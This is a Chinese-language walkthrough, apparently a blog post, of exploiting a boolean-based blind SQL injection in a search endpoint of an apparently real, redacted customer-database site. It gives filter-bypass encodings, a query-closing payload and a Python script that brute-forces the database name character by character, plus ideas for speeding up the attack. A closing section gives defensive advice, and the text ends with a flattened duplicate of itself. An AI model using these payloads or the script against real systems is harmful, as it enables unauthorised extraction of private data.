布尔型盲注的PY交易
字数 775 2025-08-15 21:32:16

布尔型盲注实战教学文档

一、漏洞发现与确认

  1. 注入点确认

    • 发现GET型数据调用接口存在SQL注入漏洞
    • 返回包中包含原始SQL语句,确认可注入
    • 传统工具sqlmap无法直接利用该漏洞
  2. 原始SQL语句分析

SELECT count(0) FROM customer c 
WHERE c.dealership_id = ? 
AND c.active = true 
AND (c.full_name LIKE '%1%') 
AND 1 IN (1, 2) 
AND (c.full_name LIKE '%test%' OR c.phone_number LIKE '%1%') 
AND 1 IN (1, 2) 
AND (c.full_name LIKE '%test%' OR c.phone_number_sub1 LIKE '%1%') 
AND 1 IN (1, 2) 
AND (c.full_name LIKE '%test%' OR c.phone_number_sub2 LIKE '%1%') 
AND 1 IN (1, 2) 
AND (c.full_name LIKE '%test%')

二、注入类型判断

  1. 排除法分析

    • 报错内容不同但无法利用 → 排除报错注入
    • 仅剩两种可能:时间型盲注或布尔型盲注
  2. 确定为布尔型盲注

    • 通过构造特定语句可影响返回结果
    • 根据返回状态码(200/404)判断SQL语句真假

三、绕过技术

  1. 过滤绕过

    • 单独%被过滤 → 使用%25(URL编码)绕过
    • 空格被过滤 → 使用%0a(换行符)或%20绕过
  2. 语句闭合构造

%'){测试语句}AND(c.full_name like '%test
  • 利用数据库模糊查询LIKE %%特性
  • 确保前后语句正确闭合

四、测试语句构造

  1. 基础测试语句
27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test
  1. 按位截取原理
    • substr(database(),{1},1):截取数据库名第{1}个字符
    • ascii():转换为ASCII码
    • ={0}:与猜测值比较

五、自动化工具实现

  1. Python实现代码
# coding:utf-8
import requests
import datetime
import time

headers = {
    # 头信息,自己添加
}

chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@_.'
database = ''

for j in range(1,11):
    for i in range(49,125):
        Url = 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxx/find?pageNo=1&pageSize=20&searchWord=1%25%27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test'
        UrlFormat = Url.format(i,j) #format()函数使用
        r = requests.get(UrlFormat,headers=headers)
        d = r.content.find("Test") #利用find函数来查找返回的数据特征,判断是否成功得到注入数据
        if d != -1:
            print(i)
            print chr(i)
            database += chr(i)
            print database
            break
        else:
            pass
  1. 关键实现点
    • 双重循环:外层循环控制字符位置,内层循环猜测ASCII值
    • 特征检测:使用find("Test")检测返回包特征
    • ASCII范围:49-125覆盖可打印字符

六、优化方向

  1. 功能增强

    • 加入数据包直接调用功能
    • 处理0值永真问题
    • 支持GET/POST多种请求方法
  2. 性能优化

    • 多线程实现加速爆破过程
    • 代码逻辑重构提高效率
  3. 扩展性

    • 支持更多数据库类型
    • 自动化识别过滤规则
    • 智能闭合语句生成

七、防御建议

  1. 输入过滤

    • 严格过滤特殊字符(%、'、空格等)
    • 使用参数化查询
  2. 错误处理

    • 避免原始SQL错误信息返回前端
    • 统一错误页面
  3. 权限控制

    • 最小权限原则
    • 数据库账户权限分离
  4. WAF防护

    • 部署Web应用防火墙
    • 监控异常请求模式
布尔型盲注实战教学文档 一、漏洞发现与确认 注入点确认 : 发现GET型数据调用接口存在SQL注入漏洞 返回包中包含原始SQL语句,确认可注入 传统工具sqlmap无法直接利用该漏洞 原始SQL语句分析 : 二、注入类型判断 排除法分析 : 报错内容不同但无法利用 → 排除报错注入 仅剩两种可能:时间型盲注或布尔型盲注 确定为布尔型盲注 : 通过构造特定语句可影响返回结果 根据返回状态码(200/404)判断SQL语句真假 三、绕过技术 过滤绕过 : 单独 % 被过滤 → 使用 %25 (URL编码)绕过 空格被过滤 → 使用 %0a (换行符)或 %20 绕过 语句闭合构造 : 利用数据库模糊查询 LIKE %% 特性 确保前后语句正确闭合 四、测试语句构造 基础测试语句 : 按位截取原理 : substr(database(),{1},1) :截取数据库名第{1}个字符 ascii() :转换为ASCII码 ={0} :与猜测值比较 五、自动化工具实现 Python实现代码 : 关键实现点 : 双重循环:外层循环控制字符位置,内层循环猜测ASCII值 特征检测:使用 find("Test") 检测返回包特征 ASCII范围:49-125覆盖可打印字符 六、优化方向 功能增强 : 加入数据包直接调用功能 处理0值永真问题 支持GET/POST多种请求方法 性能优化 : 多线程实现加速爆破过程 代码逻辑重构提高效率 扩展性 : 支持更多数据库类型 自动化识别过滤规则 智能闭合语句生成 七、防御建议 输入过滤 : 严格过滤特殊字符(%、'、空格等) 使用参数化查询 错误处理 : 避免原始SQL错误信息返回前端 统一错误页面 权限控制 : 最小权限原则 数据库账户权限分离 WAF防护 : 部署Web应用防火墙 监控异常请求模式